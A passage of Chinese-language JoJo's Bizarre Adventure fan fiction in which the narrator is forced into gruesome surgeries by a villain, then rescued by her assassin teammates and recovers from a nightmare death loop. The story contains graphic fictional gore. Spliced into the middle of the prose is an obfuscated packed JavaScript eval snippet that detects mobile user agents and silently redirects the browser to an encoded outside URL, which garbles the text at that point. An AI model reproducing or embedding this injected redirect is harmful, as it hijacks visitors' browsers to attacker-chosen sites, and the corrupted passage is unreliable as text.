“如果心怀「负罪感」,在无意识中就会给自己的替身加上某种限制。可你不同,莉莉,「Paradise City」适用于任何场合,一切不切实际的想法也都能变为现实。我好奇了很久,哪怕是因为有孩子天马行空的想象力,也不足以支撑如此强大的能量——” 他翻转摄像机,屏幕里映出我惨白的脸,“很好,这很好,但现在我明白了,这表明你完全没有「道德感」,是天生的恶人!” 莉齐的确是这种人,但现在的我不是——相反地,现在最符合这份表述的人是他自己。我实在不太想和这种人渣被归为一类。 第二天,第三天,我期待一成不变的监禁生活能出现转机,可每天两眼一睁等待我的依旧是活生生的或者半死不活的病人。每天拉开手术室的大门对我来说简直是一场豪赌。我被迫认识了很多部位名称和医学名词,用刀也越来越熟练。乔可拉特很享受这种第一人称的寓教于乐,赛可也为了每天结束拍摄后的那两颗糖块兢兢业业,只有我整天备受煎熬。 我自认为经历丰富,心理承受能力早已强于常人,曾经为了埋伏一个目标,我和他死去的同伙待在下水道里整整两天两夜,我就这么眼睁睁看着它在我面前一点点腐烂。每当阳光从头顶的缝隙照进来,我都能看见蛆虫啃食着他身上的烂肉。 可即便见证过这样的大场面,今天的情况未免也有些太超出预期了。今天我的任务似乎简单很多——我面前躺着一位肚子高高隆起的孕妇,而我只需要剖开她的肚子,取出肚子里的死胎。可当我艰难地割开一层层脂肪和筋膜,看着那团蜷缩在腹腔里的不成形的胎儿时,我还是感觉胃里一阵翻江倒海,再也控制不住,扶着床沿呕吐起来。 “不错,你比我想象中坚持得要久。” 我正看着女人的尸体心有余悸,身后的乔可拉特却突然发了话。我吓得浑身一抖,他拍了拍我的肩膀,顺势将一只手搭了上去,手套上还沾着未干的血迹。 “扮演不成熟的孩子来接近这里,的确是不错的手段。你的演技的确很出色,足够骗过米拉吉娅,但你骗不到我。” 他语气很轻松,我却感到毛骨悚然。我清楚乔可拉特早就知道莉齐的身体情况,但我没想过他能看穿我到这种程度,而且这一天来得这么快。 我本以为他是看中莉齐便于操控的性格,但我的判断错了——他自始至终都看出我的心智成熟,并且在计划着什么,这些天的手术只是他用来瓦解我内心防线的手段。 乔可拉特凑近我,我下意识躲避,被一把抓住胳膊拎了回来。他从身后掐住我的脖子,手指狠狠抵住我的下颚逼我转头,我惊恐地与他四目相对。 “你接近组织的目的究竟是什么?” 乔可拉特早就看出来了,他只是以看我被迫杀人为乐——我毛骨悚然。即使我刻意按照与原来相反的路走,却还是回到了这个节点,距离被送上手术台折磨致死也就越来越近。这样下去不行,我得尽快想个对策出来—— “好吧,我想我们也是时候该正常交流一次了——组织盯上我的这几年间,我也在注意着你们。对我来说,□□组织要比学校或者精神病院更合适,能轻松躲过不该产生的麻烦,还能尽情发挥我的实力。” 说这话的时候我不动声色地离恶心的尸体远了一些。我努力显得自己冷静又诚恳,“在诊所的这些年来,我也一直在等你,医生。我在等像你这样能和我产生共鸣的人——我知道你需要我。” “但你凭什么觉得我会相信你?” 就凭这个——我放出天堂城的一只手臂,顺着指尖的方向,地上浮现出一个若隐若现的空洞。对和我曾交过手的他们来说,没有什么比这更直观。 我暗自庆幸虽然这身体惹了不少麻烦,但替身能力不错,至少不至于让我再沦落到只能挨打的地步。即便如此,凭我自己一人也不是他们两个的对手,要想真的站稳脚跟,就得跟他们站到同一边去,可我还不能在这里待太久。 乔可拉特迟早有一天会发现莉齐的利用价值并没有想象中那么大,她不是一只给点食物就乖乖听话的狗,现在的我也一样。等这一天到来,我也就离死不远了。 摄像机电量耗尽的提示音打破了长久的沉默,乔可拉特没再看我,他摆弄着手里的录像,径直从我身边走过去,给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744059|157517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我留下一句近似警告的话:“——看来比起你自己,你还是适合做个孩子。” — 我还没来得及品味这句话是什么意思,就先一步栽了个跟头。也许是我花费了太多精力在白天的手术上,导致失去了在其他方面的防备,连每天的药被换了也不知道。等我再一次睁开眼时,自己已经在手术室里了,但这次不是我自己走进来,是被推进来的。 我感觉不到自己的身体,整个人像是只剩下一颗脑袋被放在案板上任人处置,这感觉很诡异。我感到一阵凉意,抬眼看见乔可拉特拿着剃刀贴上我的头皮,“你的头发太长了,这样可不好,为了手术顺利应该全部剃掉。”他评价道。 我感到好笑,没想到斗智斗勇这么长时间,最后换来的是死亡节点的提前。早知道事情会发展到这一步,我宁愿待在米拉吉娅身边再久一些,再装一段时间的孩子。 “摸摸你的鼻子——不是鼻尖或者鼻梁,是这儿。” 就在我思考的时候,他抓起我的手指,轻轻放在我鼻翼的两侧,“有没有感觉到什么不一样?” 我感到莫名其妙,诚实地摇摇头。我不知道乔可拉特究竟给我用了什么药,又超过了标准剂量的多少,我的指尖几乎失去了触觉。他自顾自地继续说下去:“你还剩下一颗牙齿没有换,这颗牙跟了你很多年。它就藏在你鼻翼的下面,在乳牙的上方。” 哦,莉齐的身体年龄刚好卡在儿童换牙的末尾阶段,也许那颗牙再过几年甚至十几年也不会长出来了。我心想。 就在我走神的这两秒,我看见一点绿色的残影,下一秒疼痛从我的嘴里传来——「青春岁月」直接把那颗牙拔了下来。这疯子!我痛叫出声,眼泪差点掉下来,鲜血溢满了我的口腔,顺着上颚流进嗓子里,粘稠腥甜的感觉实在恶心。 我很难不怀疑这家伙是故意的,大费周章地给我全身麻醉,却在我唯一保留痛觉的头部动手。我朝他脸上吐血,他大言不惭地表示这是在帮我换牙。我还想骂他,但一想到一会还得脑袋开刀就只能悻悻地闭上嘴。 这样下去,就算我能逃过手术大出血的结局,也说不定会直接死于开颅手术的疼痛。就在我绞尽脑汁想寻找一线生机时,却突然听见天花板上传来一声巨响,像是楼上柜子倒下的声音,连带着里面的玻璃器皿噼里啪啦地碎了一地。 屋子里的三个人都紧张起来。这些天除了做手术能出来活动我都被关在病房,但来回几次也足够让我意识到这里没有其他工作人员。乔可拉特的目光在我和门边游移了几下,最终还是选择带着赛可决定出去看看。 “……嘿,能不能把我也带上?” 我喊了两声,没人理我。赛可端着摄像机跟了上去,我动弹不得,甚至扭头都困难,也判断不出他们到底去了哪儿,虽然有可能只是乌龙,但如果他们真的跟谁在外面打起来,以这两位的替身能力很可能让整栋楼陪葬,我也只能在这躺着等死了。手术灯晃得我眼睛疼,虽然这很不切实际,但我只希望一切都是一场梦,如果真的就这么死了,恐怕乔鲁诺那小子也会嘲笑我的。 皮肤下的疼痛打断了我的思考。一阵刺痛沿着我的脖子往上,渐渐蔓延到耳后。我看不见周围发生了什么,但那尖锐的痛感实在是有些熟悉,我甚至还听见沿着墙壁隐约传来的沙沙的响声。这实在让人难以置信,我还以为自己出现了幻觉,但是—— “……贝西?” 收线声停了一下,随后钓钩从我身体里原路返回抽出来,这回我是实打实地感受到了第一次进组那次侥幸躲开的疼痛。绿头发的男孩一路小跑,气喘吁吁地向我身边赶来,我却还没从震惊里回过神来,“你这么在这儿?还有谁是跟你一起来的?队长呢?” 贝西在的话那普罗修特大概率也在,但我始终想不明白这帮人怎么精准地找到这儿来,甚至还能精准定位到莉齐罗曼是我的新身份的。虽然有时任务成功的确有运气的成分在,但这一切纯靠巧合的话未免也太巧了些。 这么一堆问题一下让他也手足无措了,支支吾吾地半天不肯说,时间有限,我决定暂时放过他可怜的脑袋,麻烦他先把我带走,背着或者怎么都行,剩下的事情出去再说——能不能背着我?拽着实在是有点疼。 他短促地啊了一声,小声嘟囔他不知道我的身体还在麻醉状态,刚才拿钓钩拽我纯粹是想看看我是不是活着。这小子有时候本来没坏心思,但说话就是不中听。 我趴在贝西背上,他带我转到我没去过的另一条走廊,走下消防楼梯,我在楼梯间的拐角遇见了另一个我不是很想看见的人。梅洛尼靠在墙上,支着一条腿,电脑放在膝盖上,眼神却没在屏幕上,而是锁定在以奇怪姿势被背着的我身上。 “你怎么也——里苏特呢?我说你们到底怎么找到这儿的?我……” 我实在有太多问题想问,但梅洛尼却显得很轻松,他把胳膊一抱,“别这样嘛。我们可是花了好大的功夫找到这儿救你出来,结果你张口又是找队长?” “别转移话题,你最好给我好好解释到底发生了什么,否则我就默认为你们全都不想活了跑来一个两个的送死。” 我真希望自己现在没处在麻醉状态,至少能看起来更有威慑力一些,“——你们根本没联系上里苏特对吧?” “你打第一通电话之后的十几分钟里,队长联系过组里一次,但我们没见面,他也只是简单说明了情况,”梅洛尼耸耸肩,“但上一个‘你’出了那样的事,实在是让人放心不下,普罗修特就带着我们两个跟了过来。从你提到的信息能勉强找到那间诊所,可惜我们到的时候她已经死了……” “那之后你们是怎么——等等,该不会是……”我不可思议地瞪大了眼睛,梅洛尼则心领神会地把屏幕转过来给我看,“嗯哼,虽然花了点时间,但我还是从走廊里提取到了除了那位小姐以外的其他人的血迹,通过「娃娃脸」追踪到了这里。” 我不知道怎么形容自己现在的心情,先不说组里剩下的那几个待在一起会不会一言不合就动手,我实在为这帮人没有一点敌方情报就敢一个接一个来送死的行为捏把汗。 “——你那是什么表情?作为这次行动的大功臣,怎么也该对我说点好听的吧?” 的确,如果没有娃娃脸,恐怕再给他们半个月时间也找不到这里。虽然自身的危机暂时解除了,但看着面前的梅洛尼,我却还是高兴不起来。 “所以你们就打电话骗我一切已经解决,然后想让我在原地等死?” “计划赶不上变化嘛。我们原本只是担心队长被埋伏才跟来支援,特地告诉你就是怕你也被卷进去。但通话突然中断,我猜要么是你已经被卷进去了,要么就是有人在威胁你,所以我们才分成两拨——普罗修特去和里苏特汇合,他们去解决索尔贝和杰拉德的事,而我们来带你走。” “带我走?”我很难想象这话会从这帮杀手嘴里说出来,我本来都做好保证他们全身而退再牺牲一次的准备了,“我为了不让你们受到牵连宁愿自己送死,就是为了避免你们再走向同样的结局,结果你们反过来要救我?” “这就是我正想说的——无论你今天死还是不死,只要不离开这里,接下来死的都会是索尔贝和杰拉德。这是我们和里苏特汇合后才得到的最新情报。你知不知道他们在哪儿?”他往上指了指,“他们就在楼上,这时候应该已经和普罗修特汇合了。那位医生的本意是想让你亲自杀了他们,就像你每天做的那样。” 这下我震惊的心情更甚,半天只憋出来一句你到底用娃娃脸监视这里多久了?梅洛尼又给了我一个意想不到的答复:大概两到三天,让娃娃脸混进来很容易,但他们等的不是我,而是里苏特——他们找到这间医院的时间甚至比里苏特要早。 很难想象这两拨人是怎么在情报不共通的情况下达成共识做到如此地步的,难道这也算运气的一部分?我还有满肚子的话想问,梅洛尼却示意我安静,“嘘——我们之后有的是时间解释这些,但现在该走了,普罗修特只给了我们十分钟。他就在楼上,你也知道「壮烈成仁」的伤害是范围型的吧?” “那里苏特呢?后来你们见面了吗?等等,听我说完——”我还是惦记着里苏特,在我看来他们就像刻意隐瞒了这部分的事实。这实在太乱来了,他们明明什么都不知道,在这场对战中无疑处于劣势。 梅洛尼把电脑一合,带着贝西一起往楼下跑,我在背上被颠簸得头晕想吐,直到再经过一个安全出口才如梦初醒:不对,不要往下跑,快往上去! 两人明显都被我这番言论给搞糊涂了,但像是为了印证我的说法似的,我们脚下的楼梯开始晃动起来。我不知道顶楼发生了什么,只能祈祷命运再向着我最后一回,看在这些天我受到的心理创伤的份上——“还愣着干什么,快往上跑,不想死就往反方向跑!” 这像是真实版本的地震逃生演练。他们以最快的速度一路狂奔,而我能做的只是做个人肉沙包来挡住天花板上偶尔掉下来的碎石。这或许是我距离命运节点最近的一次,如果失之交臂,恐怕就再也没有改变过去的机会了,可现在机会就在眼前,我却又开始患得患失。 越接近顶楼,地面的晃动幅度就越大。再次穿过走廊时,手术室红色的顶灯很快地从我眼前一闪而过,和监狱烟雾报警器发出的红光如出一辙。最后几步,我们几乎是踩着下落的台阶一跃而上,终于惊险地站在了楼顶,与此同时,地面开始向下塌陷,整栋大楼正在下沉。 —to be continued— 16. 第一个日出 我见识过青春岁月的破坏力,第一时间就意识到如果就这么傻站着无异于等死。我的潜意识比我本人反应的都要快,因为天堂城的入口已经先我一步,出现在了贝西的脚边。 他吓了一跳,问我这是什么——别管它了,快跳进去!我叫道,凭先前那次交手对这二位替身能力组合起来的了解,这样暴露在空气中无异于原地等死。躲起来听天由命不是我的本意,但现在我除了放替身出来什么也做不了,只好出此下策。 跳进洞口就是另一个世界,我们像科幻片主角一样从高空中急速下坠。尽管已经使用过几次天堂城,我还是下意识闭上了眼睛,可预想的疼痛没有出现,我睁开眼,惊讶地发现地上凭空出现了一小块突兀的棉花田,它们紧凑地生长在一起,形成了一个柔软的地毯形状。 我清楚自己并没有发动能力,难道这随心所欲的替身还能受到内心想法的影响?联想到前几天与米拉吉娅的那次对战我,受到她替身影响后天堂城的能力也确实变得不受控制。如果真是如此,那么它的发挥空间就更多了。 “di molto!这就是你的替身能力?真是di molto的惊人啊!”我还专注于思考替身能力的事,另一半梅洛尼已经开始对天堂城大为赞叹,他摸摸地上的草,直接放松地往地上一坐,“简直就是随时随地都能放松一下的豪华休息室嘛!” 休息个屁,里苏特跟普罗修特还在医院里呢!我大骂他没心没肺,要不是动不了,我现在绝对会给他一脚。“我们就这么把他们扔在那儿了?他们两个什么都不知道,再对上乔可拉特和赛可这两个疯子……不行,你留在这里,贝西跟我得出去看看!” 哈?贝西不敢相信地回头看了我一眼,我回他一个歉意的眼神——虽然把他当临时坐骑实在不太好,但毕竟我现在这个状态不可能一个人出去,梅洛尼又得在安全的地方操控娃娃脸,所以只能让他冒这个险了。 “放松点儿,相信队长他们一次吧,他们配合得不错,更何况——” 梅洛尼显得异常轻松,他把屏幕转过来给我看,我快速地扫了一眼,最下面一行字写着“……真菌会随着位置下降不断生长”。 哦,该死的娃娃脸。我差点忘了这东西也长了嘴,或许能把情报传递给他们。可我还是不死心,我心里始终有一个心结:“那里苏特呢?你们一直不跟我提里苏特的事,我必须得确认他还活着!” “哎呀,伊莎贝拉姐,你别担心了——队长他,他还活着呢!不信你看!” 贝西一边说,一边手忙脚乱地在大衣的口袋里一顿乱翻,拿出一个闪着金属光泽的东西,我还没来得及出声,梅洛尼就先夸张地叫了出来:“贝西!你什么时候拿的这个?” 那是里苏特用金属制品做给我的那条吊坠项链。的确,如果里苏特死了,那么替身能力也会自动解除,这吊坠自然也会化为一堆铁粉,但它没有。我感到有点无奈的好笑:这孩子明明胆子小的很,却能为了见我的时候让我放心而从一堆尸块里找出这条项链来。我想了一下他那时候的表情,肯定挺好笑的。 梅洛尼贴心地帮我把项链套在脖子上。我彻底泄了气,转过脸去不想再看他。虽然里苏特还活着肯定是个好消息,但这事也意味着我真的只能在精神上支持他们了。我也是暗杀组的一员,我很想帮上忙,而不是做个累赘。 梅洛尼还在跟我絮絮叨叨,跟我抱怨娃娃脸不听他的话,打碎柜子吸引医生的注意力就是它自作主张的,拦都拦不住,所以才被迫提前了行动。我心想它做得没错,一切都刚刚好,如果他们再晚一点来,看到的恐怕就是我脑袋开瓢的尸体了。 我在心里把他骂了个遍,但实际什么也没说。受到麻醉的影响,现在移动一根手指都要花费我全部的精力,呼吸也变成了自主行为,只有缺氧到快窒息时才能感觉到肺部挤压,被动地吸入一小口空气。 我现在的状态很差,恐怕也会影响到替身能力的效果。我还在担心天堂城撑不了太久,却突然觉得喉咙一阵发紧,不自觉地分泌口水,随后只听胃里传来一阵叽里咕噜的怪声,一股带着胃酸气味的液体涌了上来。 我感觉不妙,强忍着呕吐的欲望把它又咽了下去,这真的很恶心。可即便我做到这一步,呕吐物很快又翻涌上来,这次直接从我嘴里喷了出来,还有一点涌进我的鼻腔,我被呛了一下,剧烈地咳嗽起来。 贝西尖叫了一声,我才发现我全吐他身上了。我还没来得及表示歉意,他就下意识地站起身,我毫无防备,直接被他甩到了地上。这下道歉的人换成他了。我仰面躺在草地上,手脚摆成一个大字,一下不知道该作出什么表情。 “你还好吗?” 梅洛尼凑了过来,热心地表示可以给我检查身体,我很虚弱,但还是用尽力气瞪了他一眼,潜台词是你还是留着娃娃脸支援队长他们吧。我希望他能懂,因为我实在没力气说别的了,现在只觉得眼前发黑,仿佛随时都要昏死过去。 又一股呕吐物从我的喉咙涌上来,这次我平躺着,直接堵塞了我的气管。我呛咳了两下,窒息感让我头脑发晕,除了拼命汲取空气外做不出别的反应,可越是想尽办法呼吸,呼吸道就被就堵得越死。 我想求救,但发不出声音,意识模糊中,我看见手边的草地开始枯萎,也许现在维持替身已经是我唯一能做的了,我从肺里挤出一点气来,强撑着再一次操控替身。 天花板开始裂出一道缝隙,并且还在不断扩大。这意味着天堂城正在随着我意识的消散崩解。所有人都不清楚外面的情况,如果现在就这么重新暴露在青春岁月的影响范围内,想必我们都会受到牵连。天杀的乔鲁诺,难道这也是命运的安排?可明明牺牲了好几次才走到了这一步,明明还差一点就能…… 一阵天旋地转,我感觉自己被翻了过来,侧躺在地上。梅洛尼一只手托起我的脑袋,另一只手的手指伸进我嘴里,清理我嘴里的呕吐物,好让我能正常呼吸。我一边在心里谢天谢地,一边尽量不去想他那双手套还摸过些什么东西。 空气重新进入肺部的感觉很好,我再一次感觉自己活了过来,但状态依旧难说。梅洛尼是现在唯一一个能和外界有联系的人,我喘了两口气又开始着急,迫不及待地问他外面发生了什么,情况怎么样,需不需要支援——但我实际只是口齿不清地发出几个单音节,像牙牙学语的孩子。 梅洛尼露出一个困惑的表情,我能看出他很努力地想听清我想表达些什么,但最终还是以失败告终。我感到耳边的声音渐渐模糊,眼皮开始发沉,有一瞬间我几乎已经昏了过去,但又强迫自己清醒过来,随便想点什么也好。 我呆呆地看着天空上越来越大的裂缝,突然不合时宜地想起那部现在还没上映的电影,男主角的人生也是从天上掉了盏灯下来开始改变的。看这电影的时候,我们看到一半就不幸被卷入了一场□□火并,放映机也不幸牺牲了。 ——伊莎贝拉,伊莎贝拉?梅洛尼很用力地拍了几下我的脸,我隐约听见他叫我的名字,但我已经做不到回应他了。我瞟了一眼娃娃脸的屏幕,却只看见一串乱码,不知道是不是我已经失去了阅读文字的能力。来不及再过多思考什么,我又昏了过去。 — 我以为自己死了,因为我再一次见到了熟悉的乔鲁诺乔巴拿。他没有看我,只是悠闲地在手里把玩着那把手枪,问我,你自己来,还是我来? “这么快?这次你就没什么想对我说的?” ——这句话不经大脑地从我嘴里脱口而出。我反应过来,下意识捂住嘴,而乔鲁诺抬起头,嘲讽地对我笑:你还想听什么?我给了你很多次机会,也容忍了你的错误,但你总是一次又一次让我失望——伊莎贝拉,承认吧,你什么都做不到。 咔嚓一声,我知道这是子弹上膛的声音。乔鲁诺将枪口对准了我,明明是他仰视我的角度,却是我完全占了下风。砰的一声,我倒在了地上。 我睁开眼,第一个映入眼帘的是天空。我平躺着,想起身,却发现自己被绑住动弹不得。搞什么鬼?就在我疑惑的时候,突然地面一阵震动,随后我听见了火车的鸣笛声,由远及近。 当我意识到这意味着什么时,一切都来不及了。我拼命挣扎,却只能眼睁睁看着火车离我越来越近。剧痛只持续了几秒钟,我几乎是立刻失去了意识,再睁开眼,我又回到了一片黑暗中,乔鲁诺居高临下地看着我,似笑非笑。 “与其再让你做没用的挣扎,不如让一切都来得快一些,这对你我都好,对吧?” 我躺在地上,大口喘着气,还没从刚才的死亡中回过神来,就又挨了一枪。这次是我颈部的动脉,我甚至还没来得及思考他的意思,就又昏死了过去。 这样单方面的虐杀反复了很多次。每次睁开眼,我面对的都是全新的、无法避免的死亡:出现在空难中的飞机上,正在沉没的游艇里,或是被锁在沉入水底的汽车,只能眼睁睁看着水面没过头顶,最后溺死在水中。 这样的死亡重复了不知道多少次,我很确信这一定远远超过十二次了。我没办法自救,甚至没时间自救,每种死法的痛苦都真实得可怕。每当我再活过来,他都会毫不犹豫地再给我一枪,轻飘飘就像踩死一只蚂蚁。 我经历了无数个生命最后的几十秒,在飞机急速下坠时,乘客们有的嚎啕大哭,有的祈求上天保佑,而我看着越来越近的地面,心里竟然没起一丝波澜。可笑的是,在这样的生死关头,我第一个想到的还是乔鲁诺——为什么出现在这架飞机上的人不是他? 再度睁眼,这次我毫不犹豫地爬起来,在他要开枪的瞬间拿手堵住了枪口。掌心被子弹贯穿的感觉并不好受,但这次我不会被一枪毙命了。我忍着疼痛,趁他没反应过来的片刻夺过手枪,毫不犹豫地对着他的胸口开了一枪。 “善意的提醒,伊莎贝拉,你做这些只会让你陷入更大的麻烦。” 他没有丝毫慌乱,这让我更加火大,我泄愤似的对着他又是几枪,直到打空了所有子弹。可接下来发生的事却更超出了我的认知。他面不改色地看着我,身上的、额头上的弹孔都以肉眼可见的速度愈合,与此同时,什么东西顺着我的鼻梁流了下来——我伸手去摸,摸到一手温热的血。 我再次眼前一黑,倒在了地上,可这次最后意识残存的几秒却格外长。乔鲁诺站起来,他的鞋底碾着我受伤的那只手,疼得我流出眼泪来。我气喘吁吁,质问他,我为什么没有死? 死对你来说太轻松了,我不会让你死的——永远都不会。黑洞洞的枪口再一次指向了我,我意识到自己将永远被困在这样的死亡循环里,大骂他卑鄙无耻,我下意识想挣扎,可身体却动弹不得。随着枪响,我眼前又陷入了一片黑暗。 ——我猛地惊醒,发现自己出了一身的汗。面前是再熟悉的病房顶灯,空气里依旧是让人反胃的消毒水味混杂着血腥味。恍惚中,我听见普罗修特的声音:“醒了?” ……是梦? 我揉了揉眼睛,依旧感到难以置信,然后才迟钝地意识到自己能动了,虽然感官还不是很敏锐。梦中的感觉太过真实,以至于现在我还没能缓过神来,一思考就头疼。医院,病房,普罗修特……普罗修特? 我尖叫了一声,下意识就要从床上坐起来,又因为太过虚弱而没能成功,最后还是被扶着靠到枕头上。我脑子里一团乱麻:你,你们都还活着……?那从什么时候开始是梦?我们在威尼斯吗?……我死了吗? 普罗修特,贝西和梅洛尼面面相觑,硬是没一个人敢笑。过了半晌,梅洛尼看着我,指指自己的脑袋,又指指我,比了一个“ok?”的手势,顺便又灵机一动地问我这是几。我还愣了一会儿才反应过来,大骂他滚蛋,说我又没傻。 我明显感觉屋子里的所有人都松了口气。能看出来普罗修特明显想给我一脚,但念在我现在是伤员加重点保护对象才忍住了。我问他我昏过去多久?他没好气地说你发了快一整天的高烧,要是再醒晚点儿,恐怕那两个小子就该考虑给你收尸了。 梅洛尼拉起我的左胳膊,给我展示他的作品:我小臂先前的伤口被重新细致地包扎了一遍。他还兴致勃勃地给我介绍在我昏迷期间,他是如何如何给我做了全身检查,最后发现导致我这样的原因不仅是过量麻醉,还有伤口感染。 的确,前两天我还有心思每天给自己上上药,但后来所有精力都用在了应付那两个怪人身上,最后连绷带都没再换过了。我想看看伤口的现状,却被梅洛尼一把拉住,随后他笑眯眯地说出了令人毛骨悚然的话:“啊,因为时间有限,我们就直接把烂掉的肉全都刮掉了。虽然现在还不会痛,但麻醉总会失效,所以还是不要去管它比较好哦?” 好吧,我在心里安慰自己——少半条胳膊怎么也比丢条命要强得多。于是我放弃了这个话题,转而问出了我心中真正的疑问:“如果我昏迷了将近一整天,那你们又是怎么打败乔……”我突然意识到他们甚至都不知道乔可拉特这个名字,“……打败那两个怪人的?” “这正是我想告诉你的——很长的一段时间里,见识过你替身的都只有梅洛尼,所以我们都错误地判断了它的能力,包括你自己。”普罗修特说。 “包括……我?” “没错,我们都认为它的原理是创造一个短暂存在的「空间」,的确,你也利用这个原理带领其他人躲过了对方的第一次攻击——显然,如果真是如此,那么在你失去意识的时候能力就该自动解除了。” “但你知道实际发生了什么,对吧?” 梅洛尼再一次把娃娃脸的屏幕展示给我看,但也只是象征性看了一眼,我没看清屏幕上密密麻麻的字,但我注意到夹杂在其中的坐标之类的图示,“我们做了很多种设想,但可能对现在的你来说有点太难了,所以直接说结论——它是个很厉害的小家伙。你的替身世界是独立存在的,你能做到的只是开启它的入口而已。” 这实在有些超出我的认知范围了。“就像镜中人?”我没头没脑地问。 “也不完全一样啦。你清醒的时候可以操控它,但你昏迷的时候,它就完全自由发挥了。刚开始的时候还一切正常,但后面它完全失控了,不过通过具体变化的地块位置,我们反而定位到了其他人的位置——那时候娃娃脸已经联系不上了。” 梅洛尼又绘声绘色地给我描绘了一遍当时的场景,得知失控的天堂城误打误撞地帮了他们大忙,甚至能用植物的根部反向刺穿地面来固定楼层之类的我还是有些惊讶。我试着思考这一切,随之而来的就是一阵头皮发麻——我突然意识到了莉齐真正的可怕之处,也意识到了为什么乔可拉特不惜一切代价都想得到她、利用她。 我会下意识去控制替身,但莉齐不会。这意味着在她手中,「Paradise City」始终是这样的“失控”状态。替身是遵循本体的意志行动的,所以在我失去意识后,天堂城才真正发挥了它本来的实力——跟随自己主人潜意识的想法,最大化地,最高效地,不顾一切地破坏。 如果莉齐是个普通的成年人,或者是个真正的孩子,她都不会拥有这样可怕的替身。正是因为她随心所欲,对自己毫不约束,才会产生这样强大的替身。而现在身处此处的我,某种意义上来说其实是压制了它。 毕竟我是唯一知道莉齐真实情况的人,普罗修特和梅洛尼能对第一次见的替身推测到这种程度已经十分难得。考虑到我实在做不到毫无道德感地享受虐杀,我决定还是将天堂城的真相当作一个永远的秘密——就把这一切当成一个美好的巧合吧。 正胡思乱想着,我看见一个拄着拐杖的身影走进来,当我看清那张脸时,我几乎要再次叫出声来。那是索尔贝,但又和我印象中的样子相差甚远。他瘦了一些,一条腿打着石膏,半张脸被绷带裹住,隐约露出一点可怕的瘢痕。我看着他剃过的发际长出的那圈短短的头发茬,突然意识到我们很久没见了。 我想象过无数次我们再遇见的场景,我非常想揪着他的领子骂他一顿,骂他为什么偏要上赶着往老板的枪口上撞,或者质问他你知不知道我为了你们两个小子跑了多少趟死了多少次。可真的见到他这幅样子,我又什么都说不出来了。 我酝酿了半天刚想开口,我们两个的话头却又好巧不巧地撞在了一起。他看向我,我们从彼此的眼神中都读出了一点儿尴尬。上一次我们见面的时候我挨了他好一顿揍,没想到再见就是两三个月后,还是在这样的场合下。我又张了张口,说,你先说吧。 “队长说要见你。” 他只说了简短的几个字,便不再多说了。我想追问他里苏特的情况,但考虑到他刚从那两个疯子手里逃出来,说不定还有点ptsd,还是闭了嘴。 梅洛尼和贝西扶着我下床,我颤颤巍巍差点摔倒,普罗修特无语了,他骂我掉链子,又从隔壁给我推了辆轮椅来。我转动着轮子挪到门口,看见明显看上去更需要轮椅的索尔贝,心里更五味杂陈。我尽量让自己快点离开门边,但在背对他时,我听见他说:“你真的很有本事。” 我僵了一下,不知道该怎么回答。虽说我为了救他们两个几次以身试险,但考虑到我也是让他们提前陷入危险的那个人,这话在我听起来实在是有点刺耳。 “——他那是在夸你啦,夸你厉害的意思。” 杰拉德的声音从我头顶传来,我猛地抬头,对上他笑得弯弯的狐狸眼睛。他看起来伤得比索尔贝轻一些,但也没好到哪去,我看见他敞着衬衫扣子,胸口往下全都被绷带缠着,我尽量让自己别去想那包扎前的伤口可能是什么样。 “索尔贝这人不怎么擅长说话,你也见识过的——”他体贴地蹲下来,与我平视,从这个角度我看见他耳垂上的两个耳洞都豁开了,还保留着血淋淋的撕裂痕迹。这下我真是一句难听的话也说不出来了。 人总是贪心的,我最早的愿望明明只是能在组里活下来,可接下来我就得寸进尺地想要他们接纳我,被接纳后又惦记着干涉他人的命运。我在心里质问自己,现在我无数次幻想的事也成真了,我还有什么不满足? 说不清是因为什么,我又开始胡思乱想,我明知道不该如此,我更应该因为他们患上ptsd而感到庆幸,或者因为终于改变了一场死局而欣喜才对,但我现在只想哭。也许是我的表情太难看,杰拉德让我别生气,别跟索尔贝计较,如果他惹我不开心了,他回去教训他——他越这样嘻嘻哈哈的,我心情就越难受。 我岔开话题,问他队长在哪儿,他回我在走廊拐角的那一侧,还贴心地表示要不要推我过去,我连忙摇头摆手拒绝,胳膊快把轮子转出火星子来,我可不想让这两个家伙其中的任何一个再折腾分毫了,就让他们其他人先叙叙旧吧。 — 这场战斗比我想象的还要激烈,因为整栋医院一片狼藉,有的地方简直跟废墟没什么区别,甚至天花板都破了一块。穿过一间储藏室时,我感觉轮子被什么东西硌了一下,碾过去才发现是只干巴巴的人手。我觉得自己快要吐了,也没来得及分辨这手属于他们两个中的哪一位,径直离开了案发现场。 这里的灯光颜色让我眼睛疼。我又在走廊里转了一圈,还是没看见里 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我呆呆地看着那张熟悉的脸,与此同时,沾在我手指上的铁粉再一次延展成一条细铁链,连着吊坠挂在我的小指末端。 天,你吓坏我了!我叫道,又好气又好笑,难道我在这家医院受到的惊吓还不够吗?老实说,我的第一反应是很想骂人,或者干脆冲上去给他一拳——但想到刚才我惊慌失措的反应,我又忍不住在心里骂自己没出息。无论如何,他还有心思跟我玩这种把戏来吓唬我,至少证明他心情不错。 “——你好像很担心我出事?” “嘿,我不是……” “你很勇敢,也很冷静,可惜这两点特质总是不同时出现。”里苏特一针见血地点评我,“你擅自跟来医院的时候非常勇敢,但也非常冲动;和其他人一起应对敌人时,你很冷静,可又不勇敢了。我听说你问了不止一次我们是不是还活着。” “这不怪我!我一直没联系上你,他们又不肯告诉我关于你的事……”我做贼心虚似的避开里苏特的视线,“不,我不是不相信你的能力,但是你要知道……呃……” 里苏特居高临下地看着我,这也是我第一次从这个角度看他,比平时更有压迫感,我几乎要仰着头才能和他对视。我到嘴边的话一个字也说不出来,突然理解那些人质为什么看到里苏特就害怕了。 “我更想知道你是怎么拿到那个的。”他意有所指地点了点我手里的吊坠。我在要不要说实话中间纠结了一会,还是选择了告诉他实情,虽然这显得很像半个组的人都怕他死。 “那孩子很了解你。”他评价道。我哈哈干笑了两声,为了尽量让自己显得不那么丢人,赶紧转移话题,“对了,索尔贝说你要见我,哈哈……有什么是不能在大家面前说的?” 